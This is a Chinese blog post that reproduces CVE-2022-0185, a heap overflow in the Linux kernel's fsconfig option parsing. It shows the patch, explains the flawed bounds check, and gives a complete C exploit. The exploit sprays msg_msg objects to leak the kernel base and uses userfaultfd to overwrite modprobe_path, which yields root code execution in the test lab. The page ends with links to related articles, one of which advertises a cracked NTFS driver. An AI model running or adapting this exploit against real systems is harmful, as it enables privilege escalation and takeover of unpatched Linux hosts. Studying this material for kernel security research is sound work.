【CVE 复现】CVE-2022-0185 fsconfig之整数溢出

影响版本:Linux-v5.1~v5.16.2

测试版本:Linux-5.11.22,由于懒得搞环境,所以直接用的 bsauce 大佬提供的 测试环境

看看 patch:


diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625b..24ce12f0db32e5 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)param->key);}-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') ||(param->type == fs_value_is_string &&

这里 len/size 都是无符号数,所以当 2+size > PAGE_SIZE 时,则 PAGE_SIZE - 2 - size 是一个很大的数从而绕过检查,这里会导致堆溢出。

溢出 kmem_cache:kmalloc-4k

利用思路:

1)堆喷 msg_msg,触发第一次漏洞溢出修改 m_ts 从而泄漏内核基地址

2)堆喷 msg_msg,触发第二次漏洞溢出配合 userfaultfd修改 m_next 实现任意地址写 modprobe_path

注:bsauce 佬提供的测试环境内核版本为 v5.11.22,普通用户是无法直接使用 userfaultfd 的,我看 bsauce 佬直接写了个 fuse 驱动模块,然后利用的 fuse 去增大竞争窗口。但是这里为了方便,我直接在设置了普通用户可以使用 userfaultfd,这里只是为了简化利用。

echo 1 > /proc/sys/vm/unprivileged_userfaultfd

第一版垃圾 exp 如下:这里调整一下堆喷策略效果应该会好很多

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif#define SPARY_MSG_NUMS 8
int hijack_idx;
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS];int fsopen(const char* fs_name, unsigned int flags)
{return syscall(__NR_fsopen, fs_name, flags);
}int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");size_t buf = modprobe_path - 8;char* x = &buf;char str[] = "/tmp/x";printf("hijack_idx ==> %d\n", hijack_idx);fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", x, 0);memset(copy_src, 0, sizeof(copy_src));strncpy(copy_src, str, strlen(str));strncpy(copy_src+8, str, strlen(str));uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}size_t do_leak()
{char X_X = 1;int fs_fd;char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;if (!X_X) goto X_X_Label;for (int i = 0; i < SPARY_MSG_NUMS / 2; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = SPARY_MSG_NUMS / 2; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS*2; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);goto GO;X_X_Label:fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS*2; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);GO:kernel_offset = -1;size_t vim_mtype;for (int i = 0; i < SPARY_MSG_NUMS; i++){memset(buf, 0, sizeof(buf));if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8){for (int k = 0; k < 0x1000 / 8; k++){size_t addr = *(uint64_t*)(buf+0x1000+k*8);vim_mtype = ((struct msg_buf*)buf)->m_type;if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770){hexx("vim_mtype", vim_mtype);kernel_offset = addr - 0xffffffff81f36770;hexx("kernel_offset", kernel_offset);break;}}if (!X_X) msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, vim_mtype, 0);//binary_dump("OOB READ DATA", buf, 0x2000);break;}}return kernel_offset;
}void hijack_modprobePath()
{char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS*2];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i*2] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i*2+1;if (msgsnd(msg_qid[i*2], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");fs_fds[i] = fsopen("ext4", 0);if (fs_fds[i] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int j = 0; j < 273; j++){fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}if ((msg_qid[i*2+1] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i*2+1;if (msgsnd(msg_qid[i*2+1], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");//              if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
//              *(uint64_t*)(msg_buf->m_text+8) = i;
//              if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");}for (int i = 0; i < SPARY_MSG_NUMS; i++){msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0);}char* uffd_buf;pthread_t thr[SPARY_MSG_NUMS];for (hijack_idx = 0; hijack_idx < SPARY_MSG_NUMS; hijack_idx++){msg_buf = (struct msg_buf*)buf;msg_buf->m_type = 1;if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");uffd_buf = NULL;uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf <= 0) err_exit("FAILED to mmap uffd_buf");register_userfaultfd(&thr[hijack_idx], uffd_buf+0x1000, 0x1000, handler);msg_buf = (struct msg_buf*)(uffd_buf+0x30);if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");msg_buf->m_type = 1;if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");munmap(uffd_buf, 0x2000);}}int main(int argc, char** argv, char** envp)
{bind_core(0);pid_t pid;int pipe_fd[2];pipe(pipe_fd);pid = fork();if (!pid){unshare(CLONE_NEWNS|CLONE_NEWUSER);size_t kernel_offset;kernel_offset = do_leak();if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");modprobe_path = 0xffffffff8346c160 + kernel_offset;hexx("modprobe_path", modprobe_path);hijack_modprobePath();write(pipe_fd[1], "X", 1);exit(0);} else if (pid < 0) {err_exit("FAILED to fork a new process");} else {char buf[1];read(pipe_fd[0], buf, 1);get_flag();}return 0;
}

效果如下:这里堆喷策略比较垃圾,成功率极低,后面再改改吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/207473.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ResNeXt(2017)

文章目录 Abstract1. Introductionformer workour work 2. Related Work多分支卷积网络分组卷积压缩卷积网络Ensembling 3. Method3.1. Template3.2. Revisiting Simple Neurons3.3. Aggregated Transformations3.4. Model Capacity 4. Experiment 原文地址 源代码 Abstract 我…

【python】vscode中选择虚拟环境venv

vscode 怎么指定 python venv&#xff1f; 在VSCode中选择Python解释器&#xff1a; 打开命令面板&#xff1a;按下 CtrlShiftP&#xff08;Windows/Linux&#xff09;或 CmdShiftP&#xff08;Mac&#xff09;。在命令面板中&#xff0c;键入 “Python: Select Interpreter”…

14.Java程序设计-基于Springboot的高校社团管理系统设计与实现

摘要 随着高校社团活动的不断丰富和社团数量的逐渐增加&#xff0c;高校社团管理面临着日益复杂的挑战。为了提高社团管理的效率和透明度&#xff0c;本研究基于Spring Boot框架设计并实现了一套高校社团管理系统。该系统旨在整合社团创建、成员管理、活动发布等多个功能&…

水位线和窗口

水位线特点 插入到数据流中的一个标记&#xff0c;可以认为是一个特殊的数据主要内容是一个时间戳水位线是基于数据的时间戳生成的&#xff0c;即事件时间水位线必须单调递增水位线可以通过设置延迟&#xff0c;来保证正确处理乱序数据一个水位线&#xff0c;表示事件时间已经…

[FPGA 学习记录] 数码管动态显示

数码管动态显示 文章目录 1 理论学习1.1 数码管动态扫描显示原理 2 实战演练2.1 实验目标2.2 程序设计2.2.1 框图绘制2.2.2 数据生成模块 data_gen2.2.2.1 波形绘制2.2.2.2 代码编写2.2.2.3 代码编译2.2.2.4 逻辑仿真2.2.2.4.1 仿真代码编写2.2.2.4.2 仿真代码编译2.2.2.4.3 波…

如何解决el-table中动态添加固定列时出现的行错位

问题描述 在使用el-table组件时&#xff0c;我们有时需要根据用户的操作动态地添加或删除一些固定列&#xff0c;例如操作列或选择列。但是&#xff0c;当我们使用v-if指令来控制固定列的显示或隐藏时&#xff0c;可能会出现表格的行错位的问题&#xff0c;即固定列和非固定列…

el-tree数据量过大,造成浏览器卡死、崩溃

el-tree数据量过大&#xff0c;造成浏览器卡死、崩溃 场景&#xff1a;树形结构展示&#xff0c;数据超级多&#xff0c;超过万条&#xff0c;每次打开都会崩溃 我这里采用的是引入新的插件虚拟树&#xff0c;它是参照element-plus 中TreeV2改造vue2.x版本虚拟化树形控件&…

2024年强烈推荐mac 读写NTFS工具Tuxera NTFS for Mac2023中文破解版

大家好啊&#xff5e;今天要给大家推荐的是 Tuxera NTFS for Mac2023中文破解版&#xff01; 小可爱们肯定知道&#xff0c;Mac系统一直以来都有一个小小的痛点&#xff0c;就是无法直接读写NTFS格式的移动硬盘和U盘。但是&#xff0c;有了Tuxera NTFS for Mac2023&#xff0c;…

正则表达式:字符串处理的瑞士军刀

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

记一次xss通杀挖掘历程

前言 前端时间&#xff0c;要开放一个端口&#xff0c;让我进行一次安全检测&#xff0c;发现的一个漏洞。 经过 访问之后发现是类似一个目录索引的端口。(这里上厚码了哈) 错误案例测试 乱输内容asdasffda之后看了一眼Burp的抓包&#xff0c;抓到的内容是可以发现这是一个…

MuJoCo机器人动力学仿真平台安装与教程

MuJoCo是一个机器人动力学仿真平台&#xff0c;它包括一系列的物理引擎、可视化工具和机器人模拟器等工具&#xff0c;用于研究和模拟机器人的运动和动力学特性。以下是MuJoCo的安装教程&#xff1a; 下载和安装MuJoCo Pro。可以从MuJoCo的官方网站上下载最新版本的安装包。根…

【Python机器学习系列】一文彻底搞懂机器学习中表格数据的输入形式(理论+源码)

一、问题 机器学习或者深度学习在处理表格数据&#xff08;Tabular data&#xff09;、图像数据&#xff08;Image data&#xff09;、文本数据&#xff08;Text data&#xff09;、时间序列数据&#xff08;Time series data&#xff09;上得到了广泛的应用。 其中&#xff0c…

微信小程序 - 创建 ZIP 压缩包

微信小程序 - 创建 ZIP 压缩包 场景分享代码片段导入 JSZip创建ZIP文件追加写入文件测试方法参考资料 场景 微信小程序只提供了解压ZIP的API&#xff0c;并没有提供创建ZIP的方法。 当我们想把自己处理好的保存&#xff0c;打包ZIP保存下来时就需要自己实现了。 分享代码片段…

无重复字符的最长子串(LeetCode 3)

文章目录 1.问题描述2.难度等级3.热门指数4.解题思路方法一&#xff1a;暴力法方法二&#xff1a;滑动窗口 参考文献 1.问题描述 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的最长子串的长度。 s 由英文字母、数字、符号和空格组成。 示例 1&#xff1a; 输…

基于Java商品销售管理系统

基于Java商品销售管理系统 功能需求 1、商品管理&#xff1a;系统需要提供商品信息的管理功能&#xff0c;包括商品的录入、编辑、查询和删除。每个商品应包含基本信息如名称、编码、类别、价格、库存量等。 2、客户管理&#xff1a;系统需要能够记录客户的基本信息&#xf…

算法:常见的哈希表算法

文章目录 两数之和判断是否互为字符重排存在重复元素存在重复元素字母异位词分组 本文总结的是关于哈希表常见的算法 哈希表其实就是一个存储数据的容器&#xff0c;所以其实它本身的算法难度并不高&#xff0c;只是利用哈希表可以对于一些场景进行优化 两数之和 class Solut…

Michael.W基于Foundry精读Openzeppelin第41期——ERC20Capped.sol

Michael.W基于Foundry精读Openzeppelin第41期——ERC20Capped.sol 0. 版本0.1 ERC20Capped.sol 1. 目标合约2. 代码精读2.1 constructor() && cap()2.2 _mint(address account, uint256 amount) 0. 版本 [openzeppelin]&#xff1a;v4.8.3&#xff0c;[forge-std]&…

AI智能降重软件大全,免费最新AI智能降重软件

在当今信息爆炸的时代&#xff0c;内容创作者们面临着巨大的写作压力&#xff0c;如何在保持高质量的前提下提高效率成为摆在许多人面前的难题。AI智能降重软件因其独特的算法和功能逐渐成为提升文案质量的得力助手。本文将专心分享一些优秀的AI智能降重软件。 147SEO改写软件 …

云贝教育 |【技术文章】PostgreSQL中误删除数据怎么办(一)

原文链接&#xff1a;【PostgreSQL】PostgreSQL中误删除数据怎么办&#xff08;一&#xff09; - 课程体系 - 云贝教育 (yunbee.net) 在我们学习完PG的MVCC机制之后&#xff0c;对于DML操作&#xff0c;被操作的行其实并未被删除&#xff0c;只能手工vacuum或自动vacuum触发才会…

【分享】我想上手机器学习

目录 前言 一、理解机器学习 1.1 机器学习的目的 1.2 机器学习的模型 1.3 机器学习的数据 二、学习机器学习要学什么 2.1 学习机器学习的核心内容 2.2 怎么选择模型 2.3 怎么获取训练数据 2.4 怎么训练模型 三、机器学习的门槛 3.1 机器学习的第一道门槛 3.2 机器…